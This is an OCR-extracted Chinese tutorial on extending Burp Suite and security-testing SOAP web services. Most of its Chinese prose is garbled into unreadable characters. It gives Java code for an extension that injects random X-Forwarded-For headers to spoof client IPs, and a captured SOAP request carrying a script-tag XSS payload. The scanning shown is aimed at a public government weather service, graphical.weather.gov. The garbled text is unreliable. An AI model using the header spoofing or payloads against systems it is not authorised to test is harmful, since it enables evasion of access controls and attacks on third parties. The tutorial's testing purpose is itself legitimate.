lIntruderPayloadGenerator. lIntruderPayloadGeneratorFactory.
lIntruderPayloadProcessor. IProxyListener. IScanlssue. IScannerCheck.
IScannerinsertionPoint. IScannerinsertionPointProvider. IScannerListener.
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IScanQueueltem. IScopeChangeListener ¢4 151 D e A b 2L, Burp 7
PEE a4 T IL A R E IR T, %?H FIRI AR, FEA T AES
T HA SR AN 1138 F A T E 44

4, HTTP 4 EAbHE#:102%: ICookie. IHttpListener. IHttpRequestResponse.
IHttpRequestResponsePersisted. IHttpRequestResponseWithMarkers. IHttpService.
IRequestInfo IParameter. IResponselnfo

XL L1 1) 8 L EEE [ S HTTP 2l (5 i 24 J 1) Cookie. Request.
Response. Parameter JLATH B 4TS, xS H Bk T B4 HE 43,
ke IEBEE HTTP W EAL I H 1.

X Burp #ifE AP FIZhAER Sy, FRATXT AP R O — MNRIE AR, s e 4l FA
Thfie B, AT LAZMIRNEE 2K ek SR AN 18 1 8 SORME R sE . Flin. FATEE R —A
Tab TS, B4t E B s ITab #200; QR HBEXNE S TR S, 7R 2
IMessageEditor #211; 7 Z {1 A payload A= fi#s, 75 ZSLHL lintruderPayloadGenerator £
Flo I8 02 2 R B AR 3 1 U7k, al LS B RATIEA K 2428 Burp #6ifF API 1)
TEOLT, SR A H B O E R

Burp i 9m 5 AT #ERS S — 5220 Burp fdifE)
KRS FERT 73 i~ =25

1. T\ Burp fdiff8:0, Bpi@it APIs St L1 [save interface files] FIfRAFEIE, AR
X AFIEFE burp H— FHNRE 2.1 Java Project H .

2. %5 Burp ffiff, BldEE A RS S, 5ERE CRESEI DR i 2.

3. In# Burp #lifF, Bk BP9 5 el iidEfE, #TH8J5 T A Burp Extensions ', 34T H]
AR R .

Hrp S — DR =D RZHCRU, BOAMERL, LA TS el Burp KT
fBurp Suite HI'E MG L, g S MAE: https:/portswigger.net/burp/extender/, é@k
AT FFRAMTL, SRR EH—£R%5] Demo, B& & MNWMIEES LB, X

i


https://portswigger.net/burp/extender/

Demo, %ZIIF R XERLZE BN, FATAT ARty [Download) #E8: N B IRAGEAT 704 A
2 (MW NS .

& Hello world - This is a very simple extension that prints some output to various
locations within Burp. ' '
Details Download [Java, Python, Ruby]

R T 1X%% Demo &b, Wit — R mE NI TR SCE . Wk
http://blog.portswigger.net/2012/12/writing-your-first-burp-extension.html. & 1L Javafl
Python & & A6, %5 — M ) Burp R AEIET 9 SRR, IR E, 2%
A S Burp ST R R . PSR R E LG, R T TMER S, 2f —
B8 FHER NIR VG 9 5 1S R, E SUFAF WA LA OF R, Wk S
http://blog.portswigger.net/2012_12_ 01_archive.html

URARBLE DRI LT, AT SR EES Burp FHIMES TAEAML, T
B DLSEI A S ey 4 S — > Burp ffifh. S Burp i fFROHES TAEA

1. 22%% IDK------FRAH(E 28 Burp Suite AR FF# D4 238 IDK T, WHEA 23,
T B — F A ARG E .

2. %4 IDE------—7KUIF I IDE BEMEAFIT R A 2R MIFET, Java if 5 #4571 1] Eclipse
¢ # Intellid, Python #E#:f# F Pycharm 5t PyDev, HAk%E—A IDE #AFM%e3%, &
TEHEH OBEkE.

3. AARIFEE 5 MIBE--- X R WM E MR, WIREEARBELRHARE, W5 Burp
R — ML, T RISCE T, G BRI 5 0 1A 1) SRR B BRI


http://blog.portswigger.net/2012/12/writing-your-first-burp-extension.html
http://blog.portswigger.net/2012_12_01_archive.html

& T E=xr, CIRE SRR ESCHLR I 1F T REF% WA 75 3K 70 M (U A2 A PR 2R L g £ 4 g
oK, FATTEI AT LA AR IF AT

Burp #ifF4m’s (Java il & hR)

Burp #4515 5 A Java. Python. Ruby, AL Java B, k2495 — ANt .
T ESZHLThRE A . 7E http A https %K ) header #B4> % —4> X-Forward-For “7E¢, 1fij
FB I IP Hhhik o LA RERE FE 1, TSl R T BOR B I R IR S R
AR WS40 5 /2 £ T W A bitdwoo 1] Burp JlifHIEFSE T —IXIF R . JEITH github Hh ik
https://github.com/bit4woo/Burp_Extender random_X-Forward-For, fEBE M A bitdwoo E
il

bitdwoo W A [R5 AL F S22 R A X-Forward-For (7 B Skwbn, BaEtErg Ul A,
B ANTCIEHE R B AR ES http 8 EOBGEHEMEE . Kb, AT E S B5E4ErTh
AEUN R

1. GHE LR HTTP i 3R 7 Bk s in X-Forward-For Bt
2. WNIN UL FE, B SZ A R A
3. BREZHTTP YR, & Burp A THBLLAf:, 8K URL 21T 415K G 1 http IRZSH
4. BEAEFEM: P AHE R B A ) HTTP SRR, Bl 6HE R B LR b
X- Forward-For & .
5. I INKI X-Forward-For B2 BENLAE RIS 2 H S8 e . 46 S 5E i B R 5t

[ (HistoryLog) T .

TR BCE S (Options) 41 F


https://github.com/bit4woo/Burp_Extender_random_X-Forward-For

{Target Proxy | Spider I Scanner Tlntruder T Repeater TSequencer TDecoder IComparer I Extender T Options | Alerts Logger]

J Options I HistoryLog ]

2T BAX-forward-For @ Bh4pkX-forward-Forlf () $§EX-forward-Forf  Ipja:

Request | Response

Raw | Params T Headers | Hex

GET http://10.243.2.44:8080/platform/ HTTP/1.1

Accept: */*

Referer: http://10.243.2.44:8080/platform/index. do

Accept-Language: zh-CN

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT £.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC €.0; InfoPath.Z;
-NET4.0C; hwvcloud4; hwcloudd)

Accept-Encoding: gzip, deflate

Host: 10.243.Z.44:8080

Cookie: PSSESSIONID=aaabS-FWUql i_zQwCXHv

X-Forwarded-For: 163.151.46.105

FHEHBIHREE LA gRID I HAMUAUR Burp #1495, Swing 4Rl R
BRINGR S &0 Swing CAZR IR )

1.§5'6?'£ burp 752 X T —AN%FK N BurpExtender 1] java 35, 24204k 7K IBurpExtender 2
H. XA E—AEFHELERTT .

4 42 Burp! 26 import javax.swing.JTextField;
f 27 import javax.swing.SwingUtilities;
4 48 burp 28 import javax.swing.table.AbstractTableModel;

1] BurpExtender, b = s
gl] Burpbxtencerjava 29 import javax.swing.table.TableModel;
[3) 1BurpExtender.java F

[J] 1BurpExtenderCallbacks.java

[3) IContextMenuFactoryjava

&
& 31 public class|BurpExtender| extends AbstractTableModel implements IBurpExtender,
) IContextMenulnvocationjava 32 ITab, IMessageEdltor‘Contr‘oller‘, IHttlestener‘ {

2.5 9 %AE Burp VR4 tab TUE AR ATE & S0 UL, FFLATRATT B9 Tab #2014
B W SR A N R, B LR B SLE IMessageEditorController #: 1 KN E 281 >R
FIFR ¢, ¥in X-Forward-For, Fif DL ZEs2H] IHttpListener # 1. 0 F B R. 25E X5E
UGS, 5 ARSI, MZER UML B R



2. ZEALE Burp AR II—A tab TU/EAFRATE & SLHY UL, BTDAIRATT 7RSI (Tab #2101 A
N BoRIE RN R, BT LT E 2 IMessageEditorController % 11, RN B3 R
FIfk 3C, @ hn X-Forward-For, FTPAR5E 28 IHttpListener #2141 FE R, 2858 X5€
BE, T ORI TE, WZEE UML B R

BFEHE RN M B, 76 UML 1, TP AN R 75 22 S 32 22 0K 4

registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks) iX /™ & %2
Burp fifFHIA I, fERX B FEM 7™ TAE: L Wi iE A% 2) WE HE
) UL A R A
@Override
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks) {
this.callbacks = callbacks;
helpers = callbacks.getHelpers();
callbacks.setExtensionName("Random X-forward-For"); // ffiff&s
// FHmelRaEXUI
SwingUtilities.invokelLater(new Runnable() {
public void run() {[]
1)
¥

Hor g B g 3CULEY run s8R0



// EER

splitPane = new JSplitPane(JSplitPane.VERTICAL SPLIT);
JTabbedPane topTabs = new JTabbedPane();

// HistorylLog #E

Table logTable = new Table(BurpExtender.this);

JScrollPane scrollPane = new JScrollPane(logTable);

// el [options] EREW

JPanel optionsPanel = BurpExtender.this.createOptionsPanel();

// FMEERLLFESP, S tabm
topTabs.add("Options"”, optionsPanel);
topTabs.add("HistoryLog", scrollPane);
splitPane.setLeftComponent(topTabs);

// request/response lE

JTabbedPane tabs = new JTabbedPane();

requestViewer = callbacks.createMessageEditor(
BurpExtender.this, false);

responseViewer = callbacks.createMessageEditor(
BurpExtender.this, false);

[/ FMEERRFITFESH, HFtabi

tabs.addTab("Request”, requestViewer.getComponent());
tabs.addTab("Response™, responseViewer.getComponent());
splitPane.setRightComponent(tabs);

// BEXBCHEAH
callbacks.customizeUiComponent(splitPane);
callbacks.customizeUiComponent(topTabs);
callbacks.customizeUiComponent(tabs);

// TEBurpiFmEEXEtEtab:
callbacks.addSuiteTab(BurpExtender.this);

// EMHTTP listener
callbacks.registerHttpListener(BurpExtender.this);

Hx & processHttpMessage(int toolFlag, boolean messagelsRequest,
IHttpRequestResponse messagelnfo) XK Dy BE 32 Z@ 0 HTTP 3 S R AL BE AN
I HTTP ¥4 2.2 History #1|#& 9. HAREL R



public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
//REEREA, MBEANT
if (!isOpen)return;
try {
// TREfMtoolflagfsT AEKburpfff, IMINTRUDER, SCANNER, PROXY, SPIDER
if (toolFlag == callbacks.TOOL _PROXY || toolFlag == callbacks.TOOL INTRUDER
|| toolFlag == callbacks.TOOL_SCANNER || toolFlag == callbacks.TOOL_SPIDER) {
if (messageIsRequest) { // *fiEfaiThbiE
IRequestInfo analyzeRequest = helpers
.analyzeRequest(messageInfo); // idgE&i#HiTiRiR
String request = new String(messageInfo.getRequest());
byte[] body = request.substring(
analyzeRequest.getBodyOffset()).getBytes();
//FEBhttpiERLaIEE, BOheaders2¥HI5%
List<String> headers = analyzeRequest.getHeaders();
/[ARBIPER A, RERIPE
String ip ;
if(isAuto)
ip= this.getIpValue(true);
else
ip = this.getIpValue(false);
String xforward = "X-Forwarded-For: "+ ip;
//#FX-Forwarded-For
headers.add(xforward);
//EFARERHEL
byte[] newRequest = helpers.buildHttpMessage(headers, body);
messageInfo.setRequest(newRequest);// EERLFFIERE

¥
//FmE SR HistoryLogi2®H, HUIETHA
synchronized (log) {
int row = log.size();
short httpcode = helpers.analyzeResponse(
messageInfo.getResponse()).getStatusCode();
log.add(new LogEntry(toolFlag, callbacks
.saveBuffersToTempFiles(messageInfo), helpers

B 7 IXPIA R, oAt R R DB R BN T Ul AR S MR AR AR, RA A
BUR T, RBE TR R SR DL 304N 5 1 P PR AT IR %
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Hak jar 488, n#k 3] Burp Extensions FilliRtiz 17 BI AT .

AT, X, FATH FZEA 7

-
@] Export

Select

Export resources into a JAR file on the local file system.

j pe filter text

Select an export destination:

> (# Android
b= C/C++
b (= EJB
b = Install
4 (= Java
|\ JAR file |
;.@_1 Javadoc

I (= Java EE

I (= Remote Systems
b (= Run/Debug

O Tob.o

s Runnable JAR file

b (= Plug-in Development

m

®@

< Back

w

Finish

Cancel

5. A AL YEAD R AR ik
ol FEIEM jar M T

AL

NEEEE R, URATLUE sre A java R APIs FR%E TUH SN IR B 7E 1 burp
B, AR jar 1217 T LB N Ek(P X-forward-For.jar 5 A Burp ¥R fffFH,
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fiF Burp Suite ik Web Services ilx%%

MIX—ZFFEh, FATHENT Burp LA MH . B — KA ISR RS, SR
Burp fEBEMA A, W gs & H AL TR, AEMH, & TIEMRER. AEFEEFHBRENR
Web Services k454, fnfa[{# i Burp Suite Il SoapUI NG Pro fZH&, SRS #E L iE4T %
A . AREPFRMEENESR:

S FANZE N AR E B
I A v A B AR

i 7 S AE IE A S B

76 HH 1 web MR AR, B 7B T30 0 8 IS AR % S i AR A, 2T SOAP #p
HEAT 815 ) WebService IR SR .. WebService [ 28 T ki, BFE. 1K
o M SEIL AN R RFRIE 5 Z R 48— AR B E AR, fEN AT T, FAE
SL ML S5 ARG AN AR BAR B 45 D REECE N T B PR (s b B 25 82 1 . ] SAOP #pi
W T XU XML AE AR R 5, X5 php. jsp 2 RHEE AR BAEBENR Lk 2&
FHRKMZES . WFRAEH Burp Y@ E7H EEATEEINE, —RIBEMEENEW T EATR:

H http 7 Bk & SOAPAction B, HIHEAAN <soapenv:envelopes I HE 1) xml STA
(% KT WebService )X EiE I E HITHZE) o« 1IEKN WebService X284 ¢fE, fir A
EBIBEINR FBRATH 75 ER B AL MAAT SOAP WU WSDL #iR f84F . X B, FRA 1M A i) 2

SoapUl NG Pro A1 Burp Suite. Al 1% E FI1EH 4 5 72«

SoapUI NG Pro: Zi#E MR K, @ERSCIMNT. 45 payload 2 J5iE{EHk
3B E T RS
Burp Suite: UHEA, MREEEEEMEER, XHEE AT HEBCH IR Ae B,
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SoapUl NG Pro /& SmartBear A 7 4k SoapUl Pro 2 J& #E H A Ak S s 2 e, Hoak A
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https://smartbear.com/product/ready-api/soapui-ng/free-trial/

() Ready! API1.9.0 - Secure

13 days left - BUY

2 =
Q Ready! API Start ’ Projects ’ Sl LoadUING

Filez Edit View Project Security Scan Help

< )l P Run e v New [ Save $ Scan defaults = 2o JIRA .'Vproxy 4 Environments ” Plugins M Events % Databases FE Reporting # Preferences START PRO TRIAL
3
Secure [Projects] —
[ testProject Project 1
= Project 1 7 z
W Security Test 1 (Security Test Sy S Overview History
4
Security tests Summary
Test Number of scans Security tests: 1
Security Test Suite 1 - ndfdXMLBinding TestCase - Security Test 1 96
Scans: 96

Custom P i

I P

i
Project Properties

Property | Value
ame Project 1
escription
ile C:\Users\AMCC\D...

esource Root

ache Definitions  true

roject Password

omposite Project false

omposite Project... 1.2

cript Language Groovy

lermes Config C:\Users\AMCC/.h...
cript Library

isable CR escapi... false

AR RS, IRATTE e B K SoapUl NG Pro AR IR 2545 7] Burp Suite. B3R
Burp Proxy % & A 127.0.0.1:8080. ] SoapUl NG Pro fJfit & 2 :

1. A EEH 3 Preferences, B(# L&A 2 584310 [File] >> [Preferences])
2. fEFRHI A TR IT proxy I, s AACTEHhE AT .

File Edit View Project Security Scan Help

€ > Prin UnNew Blsave @ Scandefaults B Report Jat JIRA §I vProxy @ Environments [ Plugins M Events = Databases IE] Reporting & Preferences ‘

Secure [Projects]

: e - - = e R
L (est.Pro)ect (> Ready! API Preferences K /‘-
- Project 1 e

+ W Security Test 1 (Securi| | Ready! API Preferences
Set global Ready! API Preferences
R ’m Automatic
Proxy O None
SSL @ Manual
Rt Host: [127.001 |
REST
= Port: [s0s0 |
Editor Excludes: | |
Tools
WSs-1 Username: | |
Global Properties Password: | |
Global Security
WS-A
Global Sensitive Information Tokens
Version Update
LoadUI NG

SERR ARG E S, AT WebService FIiZE N A H AR RS, v DIFFIEX—AN Bk
#] WebService ik &3t T5E K T .



53 MR AR v L& R4

BENRAEEE G, AT AT UG, X BIERATTLLE O 44’5 WebService 255, 15
A LGB R 5 kB TR _E AR WebService, FRIXHEAEHE J2:
http://graphical.weather.gov/xml/SOAP_server/ndfdXMLserver.php?wsdl

— KRB B MR RS R 1%, &A1 SoapUl NG Pro 61 24
. N

L
View Project Security Scan Help

I © Focional Test e 5t

Import Project Crl- @ 1oaid Tect ity Test S
: 3 i curi es

Import Composite Project y
Import Packed Project B Virtual API
Import Remote Project B rroject
Recent 4
Import Project From VCS #% Fuzzing Scan
Save All Project Ctrl+Alt-S .

bt b5 s o @ Invalid Types
Close All Open Projects o Malformed XML

F2 -
Rename Workspace % SQL Injection
New Workspace
Switch Workspace '‘® XML Bomb
Clear Workspace
i XPath Injection

Db

2 EFH R, k@ WSDL ), A WSDL Huhik. A


http://graphical.weather.gov/xml/SOAP_server/ndfdXMLserver.php?wsdl

4:) New Security Test - B X

Description File Setup

© specify File © create Test

Enter the file path or URL:

|http://graphical.weather.gov/xml/SOAP_server/nddeMLsewer.php?wsdll | [ Browse... ]

Supported formats: WSDL, WADL, Swagager

Learn more about security tests

3.24 SoapUI NG Pro %} WSDL f#r 58 e, 23 H 3l ml— R 51 22 4 AT



¥» New Security Test (e

Description File Setup

o Specify File o Create Test

Add your security test to a new or existing project

<New project> vl

Select scans to include in your security test

@ Invalid Types

3]

o Malformed XML

3

& Malicious Attachment

3

% SQL Injection

‘@ XML Bomb

<]

3

7iz XPath Injection

Learn more about security tests

AFATR UL _E P ) 2 A U AT B AT B, BOATE L, Xk 2z e P A A2 kv
1o Eotm, AnRBATR TR BAAE XPath 7N, T R B2 - & o (1) 2 346 5 - T ) — T5E )
"o 2 SoapUl NG Pro ¥ 2 AT, e A R BI R B 2 )5, 3 (E S din
~ Efs:



[Projects] < : x S -

testProject Security Test 1 (Security Test Suite 1 -> ndfdXMLBinding TestCase) Security Test 1

Project 1 . . ~ Execution

U Security Test 1 (Security Test Suite 1 -> B 000000 B (en=sction Log | Compete | Histony [[] Abort test on first assertion failure

Fail test if there are assertion failures
s Summary
v H CornerPoints (8 scans) s i [ 1gnore DataSource Loop while running te:
@ Boundary Scan —¥ Response Assertions: 1 Scanned: 0 responses
Alsits: 0 ) Description
B z T z ) Properties
# Cross Site Scripting =¥ Response Assertions: 2
i Confirmation ' et g
¥ Fuzzing Scan —¥ Response Assertions: 1 B
Your Security Test was successfully created
@ Invalid Types - R Assertions: 1
b i B What would you like to do next?
o Malformed XML =¥ Response Assertions: 1
“% sQL Injection —% Response Assertions: 1 Run Security Test Edit Security Test
o = Run the security test and view the Edit the security test before
@ XML Bomb —> Response Assertions: 1 results of the security scans running it
73 XPath Injection —¥ Response Assertions: 1
- — < Add Scan
Properties I/Custom Properties I Run Edit
Property | Value v H GmiLatLonList (8 scans)

Name Security Test 1

Description @ Boundary Scan —¥ Response Assertions: 1
> Cross Site Scripting —¥ Response Assertions: 2
% Fuzzing Scan —¥ Response Assertions: 1
@ Invalid Types —» Response Assertions: 1
o Malformed XML —¥ Response Assertions: 1
*% SQL Injection —¥ Response Assertions: 1
‘® XML Bomb —¥ Response Assertions: 1

I~

5. 34110 LI FR R 72 1) SOAPAction B# A4~ SOAPAction R 3N %2 4 Tk B — ik, 18
A PAE 2 S run @47 A 22 A, RG0S 2 161E,  ERERAT IR S TR K
FIR, WRIFREE 2, SERSHEmIE T, XM T 23 2. W N ER,

Kl WebService £z 1 IEAE Ze &k, #EEE 4+ Eon A F () SOAPAction 4 F5 .

File Edit View Project Suite Case Step Request TestRuns Help

t.. lew ave | jonitor s ¥ Proxy nvironments ugins vents == Databases eportin

St. ¥ N 4s, © | 2% JIRA ¢4 Monitor APIs S v Proxy @ Envi Plugins M E £ Datab: IE Reporting |
Navigat . o
Tngatos Security Test Suite 1

SoapUI NG [Projects]

B testProject 2 ©@ B ? | Running ndfdXMLBinding TestCase TestCases Transaction Log Compare History Coverag
=8 Project 1
=Bl Security Test Suite 1
£+ ndfdXMLBinding TestCase + X | v  Testcases:1 Show: ¥ |All ~
h H CornerPoints
~H GmiLatLonList ndfdXMLBinding TestCase
* GmlTimeSeries S ——
? LatLonListCityNames _ LatLonListCityNames

H LatLonlistLine
-l LatLonListSquare
- LatLonListSubgrid
[ LatLonListZipCode

B + o [ENT.Y- . VA,
APIs X
B Project 1
= ndfdXMLBinding

TestSuite Properties rCusiom Properties

Property | Value
Security Test Suite 1

Name




6. WIR ML T BRSNS e AT e B
File Edit View Project Suite Case Step Request TestRuns Help

€ > PrRin ¥ New Hlsave @1 2% JIRA ¢4 Monitor APIs 5l v Proxy @ Environments i Plugins M Events < Databases IE] Reporting & Pre

= ) )
BRI “ Security Test Suite 1
SoapUI NG [Projects]

[ testProject > ¥ 3@ 8 2 _ TestCases Transaction Log Compare History Coverage
= Project 1
=& Security Test Suite 1
&+ ndfdXMLBinding TestCase + X | 97 [Testcases:1 Show: v [al -]
H CornerpPoints
H GmlLatLonList ndfdXMLBinding TestCase

M GmlITimeSeries

i LatLonListCityNames
M LatLonListLine

M LatLonListSquare
B LatLonListSubgrid

H LatlonListZipCode
{30 WNT V- PR

APIs x
B Project 1
#-32 ndfdXMLBinding

7.7. BERF, FRATATLATE Burp 1 Http history THI#i H & BINIA R AR A 15 RE B, @A
6] I S A R R AT DG O i SR B By L, R RIE S Burp ) HAD T B4R IE B E
TATAL B . BAIF .

B! Burp Suie rofesionalvi677  Tegreed o Lo . i

Burp Intruder Repeater Window Help

Target ‘P(o;(y Spider IScanner T Intruder IRepealer TSequencer TDecoder TComparer T Extender T Options | Alerts | Wsdler ]

[ imtercept | HTTP istory | webSockets history | Options |

[ Filter: Hiding out of scope items; hiding CSS, image and general binary content

@

# 4| Host | Method | URL | Params | Edited | Status | Length | MIMEtype | Extension | Title Comment |ssL |IP |c
p:ligraphical.weather.gov m _server/n Server.... (&) () 400 529  HTMC  php 400 BadRequest [J 23276105 F
202  http:/graphical.weather.gov POST  AmI/SOAP_serverindfdXMLserver.... &) [ 400 529 HTML php 400 Bad Request [ 23216.105 r
203 http://graphical.weather.gov POST IxmI/SOAP_server/ndfdXMLserver.... @ () 400 529 HTML php 400 Bad Request [J 23216.105
204  hitp:/igraphical.weather.gov POST IxmI/SOAP_server/ndfdXMLserver.... @ D 400 529 HTML php 400 Bad Request D 23.2.16.105
205  http:/igraphical.weather.gov POST  iml/SOAP_server/ndfdXMLserver. ] (] 400 529 HTML php 400 Bad Request [J 23216105
206 hitp://graphical. weather.gov POST IxmI/SOAP_server/ndfdXMLserver.... @ D 500 1029 XML php D 23.2.16.105
207  http:/igraphical.weather.gov POST  ixml/SOAP_serverindfdXMLserver.... W O 400 529 HTML php 400 Bad Request ] 23216.105
208  hitp:/igraphical.weather.gov POST  ixml/SOAP_server/ndfdXMLserver.... &) (] 400 529 HTML php 400 Bad Request [ 23216.105
209 http://graphical.weather.gov POST IxmI/SOAP_server/ndfdXMLserver.... @ [:] 400 529 HTML php 400 Bad Request C] 23.2.16.105
210  http:/graphical.weather.gov POST  AmI/SOAP_serverindfdXMLserver.... &) [ 400 529 HTML php 400 Bad Request [ 23216.105
21 http://graphical.weather.gov POST Ixml/SOAP_server/ndfdXMLserver.... @ (] 400 529 HTML php 400 Bad Request [J 23216.105
212 hitp:/igraphical.weather.gov POST IxmI/SOAP_server/ndfdXMLserver.... [Z] D 400 529 HTML php 400 Bad Request D 23.2.16.105
213 http:/igraphical.weather.gov POST  iml/SOAP_serverindfdXMLserver... 4] (] 400 529 HTML php 400 Bad Request [J 23216105
214  hitp:/igraphical.weather.gov POST IxmI/SOAP_server/ndfdXMLserver.... @ D 400 529 HTML php 400 Bad Request D 23.2.16.105
215  http:/graphical.weather.gov POST  AmI/SOAP_server/ndfdXMLserver.... &) O 400 529 HTML php 400 Bad Request [J 23216.105 -
[_z_t hitn-linranhical waathar now PNaT ~AmIIRNAP canmrindfd¥MI canar (/] [ ANN 520 HTIMI nhn ANN Rad Rannact. / Il 22216 105 TS X

Request | Response
Raw | Params THeaders Hex [ XML

POST http://graphical.weather.gov/xml/S0AP_server/ndfdXMLserver.php HTTP/1.1 A
Accept-Encoding: gzip,deflate -
Content-Type: text/xml;charset=UTF-8
SO0APAction: "http://graphical.weather.gov/xml/DWMLgen/wsdl/ndfdXML.wsdl#CornerPoints™
Content-Length: 495
Host: graphical.weather.gov
User-Agent: Apache-HttpClient/4.5.2 (Java/l1.8.0_102)
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd="http://www.w3.org/2001/XMLSchema” xmlns:soapenv="http://schemas.xmlsoap.ory/soap/envelope/"
xmlns:ndf="http: //graphical.weather. gov/xnl/DWMLgen/wsdl/ndfdML. wsdl™>
<soapenv:Header/>
<soapenv:Body>
<ndf:CornerPoints soapenv:encodingStyle="</TITLE><SCRIPT>alert(scuot;XSSaquot;) ;</SCRIPT>">
<sector xsi:type="xsd:string">?</sector>
</ndf:CornerPoints>
</soapenv:Body>
</soapenv:Envelope>
=
v

SoapUl NG Pro 1% 4l I 45 DL T N2


https://www.soapui.org/security-testing/working-with-security-tests.html

2SR

SQL 7 FEA
XPath/XQuery &
A BRI ok
ZHRM XML
%W XML JE
.

Pk A b
B A 22 4
EREDEEE

N LA SQL IEN NI, FAT1EE SoapUl NG Pro [f) 2 4R L B 40

W FRE— AN I, HAEAREE E 8 =5 LAECE (Configuration)

T ERAR UG T E XHMAS . HWiDET . SOAP MMl H i E S5
(namespace. import....)

2. LA RS (Straegy)
TR E MR R G RN . kRS, 81T 5 &

3.mkETT (Advanced)



TR BT 75 2 payload {6, B LR payload 1) 56 H% . il _EEFRATH T LA
i, payload Fl'ﬂﬁm—fuﬁmx{?iﬂﬂﬁ’]o £ github I, fuzzdb m%ﬂif{zﬁﬁﬁ g, 3K
ATR] LU F e AE IR payload 78, T H 3l . https://github.com/fuzzdb-
project/fuzzdb

MM E TG, BT LRI, TLATE Burp & F 2K 141 payload &, WF K
(P i hEssr) B XSS AN K payload:

[F, FRATRYE http RS, X NEIATHEY, BRESATSERImIRTE S, SREUIRSS 25 0 BUK
5 8. I FEREIAR S %5 Banner 15 5.


https://github.com/fuzzdb-project/fuzzdb
https://github.com/fuzzdb-project/fuzzdb
https://github.com/fuzzdb-project/fuzzdb

Burp Intruder Repeater Window Help

[Target TProxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer T Extender I Options I Alerts T Wsdler ]

[ Intercept I HTTP history I WebSockets history I Options ]

| Filter: Hiding out of scope items; hiding CSS, image and general binary content

# a|Host | Method | URL | Params | Edited | Status |Length |MIMEtype |Extension |Title | Comment
175  hitp:/igraphical.weather.gov POST HXmI/SOAP_server/ndfdXMLserver.... ] (] 500 1029 XML php

176  http://graphical.weather.gov POST  ixml/SOAP_serverindfdXMLserver.... ] (™) 400 529 HTML php 400 Bad Request

177  httpi/igraphical.weather.gov POST  KkmI/SOAP_server/ndfdXMLserver.... W - 400 529 HTML php 400 Bad Request

178  hitp:/igraphical.weather.gov POST Ixml/SOAP_server/ndfdXMLserver.... ] O 400 529 HTML php 400 Bad Request

179  hitp://graphical.weather.gov POST HXmI/SOAP_server/ndfdXMLserver.... ™ ) 400 529 HTML php 400 Bad Request

180  http://graphical.weather.gov POST  iml/SOAP_server/ndfdXMLserver.... ] ™ 400 529 HTML php 400 Bad Request

181 http://graphical.weather.gov POST HmISOAP_server/ndfdXMLserver.... ) D 400 529 HTML php 400 Bad Request

182 http://igraphical.weather.gov POST Ixml/SOAP_server/ndfdXMLserver.... @ LJ 400 529 HTML php 400 Bad Request

183  hitp://graphical.weather.gov POST HXmI/SOAP_server/ndfdXMLserver.... ] ] 400 529 HTML php 400 Bad Request

184  htitp://graphical.weather.gov POST KmI/SOAP_server/ndfdXMLserver.... M O 400 529 HTML php 400 Bad Request

185 http://graphical.weather.gov POST HmI/'SOAP_server/ndfdXMLserver.... ) (] 400 529 HTML php 400 Bad Request

186 http://igraphical.weather.gov POST Ixml/SOAP_server/ndfdXMLserver.... @ [;J 400 529 HTML php 400 Bad Request

187  hitp://graphical.weather.gov POST IXmI/SOAP_server/ndfdXMLserver.... ™ ] 400 529 HTML php 400 Bad Request

188 http://graphical.weather.gov POST HmI/SOAP_server/ndfdXMLserver.... M O 400 529 HTML php 400 Bad Request

189 http://graphical.weather.gov POST IXmI/SOAP_server/ndfdXMLserver.... ) (] 400 529 HTML php 400 Bad Request
i 2 R e T ey Rt pay S R 3 S o 2 T—

Request | Response
_[Waders Hex HTMLTRender]

HTTP/1.1 400 Bad Recuest

Server: Apache/2.2.15 (Red Hat)
X-NIDS-ServerID: www5.mo

Content-Length: 314

Content-Type: text/html; charset=iso-8859-1
Date: Tue, 22 Nov Z0l€ 06:55:18 GMT
Proxy-Connection: close

<!DOCTYPE HIML PUBLIC "-//IETF//DID HIML 2.0//EN">
<html><head>

<title>400 Bad Request</title>

</head><body>

<hl>Bad Request</hl>

<p>Your browser sent a request that this server could not understand.<br 8
</p>
<hr>

<address>Apache/2.2.15 (Red Hat) Server at graphical.weather.gov Port 80k/address>
</body></html>

B Burp ££E 3 Bids, RATAT LK ZES Intruder, 8 fuzzdb #4748 € 1) fuzz M ;
n] LRI E| Repeater 4T F LIV B N BB AR & B A-EE S0 UE . BRI HEAN T
MR, i Xpath 33N eIE, ERRRE AT, 752N R EE A% Xpath e N R EE,
Hf# Xpath (18, WRIERS SN E, HOF THWiER R payload 4 #ER1S H &
PG R . XA ) TAE PSR R T, AR — R TR N T R nIf
WHE, fAHEEEEHAXMER,

% F Wsdler it WebService 411

b 7 AT I ERATT B A SOAPUI NG Pro il WebService #F, 7E Burp BLA —AN i
WSDL fi#ffr#z M X, F Lk WebService [F4dif+: Wsdler



[ExlensionsTBAppStore APIs Opuons]

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp’s capabilities.

Name | Installed | Rating | Detail
Logger++ O  odokkok 2
Manual Scan Issues & P 2. 0. 0 ok Pro extension
MindMap Exporter ™ P 2 @ gkake
NMAP Parser =] P 2 8 a*atkd
Notes ™| Yodkdoky
Paramalyzer =] b 2. 0.9 0.4
ParrotNG =] P2 2 0 o ¢ Pro extension
Payload Parser O P 2. 8.9 fakd
Pcap Importer =] DS 8 o gk Pro extension
PDF Metadata & P 2.0 0 ok Pro extension
PDF Viewer ™) P2 2 8 0 ¢
Protobuf Decoder =] P 2 2.0 o*d
Python Scripter O Yolokobok
Random IP Address Header =] P2 2. 0 0 8
Reflected Parameters =] P 'S 8 o ok Pro extension
Reissue Request Scripter O P 2. 2.0 0.1
Report To Elastic Search =] P2 2 0 o ¢ Pro extension
Request Randomizer & P 2. 0.0 0 ¢
Retire js ™ P 2 2 8 0 ¢ Pro extension
SAML Editor ] P 2 0.9 ke
SAML Encoder / Decoder ™ P 'S @ phake N
SAML Raider =] L 22 0.0 8
Sentinel =] P 'S 8 o ok
Session Auth 8] £ 2. 2.9 94 Pro extension
Session Timeout Test ™| 'S 8 o gk
Site Map Fetcher & P 2.0 0 ok
Software Version Reporter ™) b 2 8 8 pke Pro extension
saLiPy =] L 2 8. 0 ok Pro extension
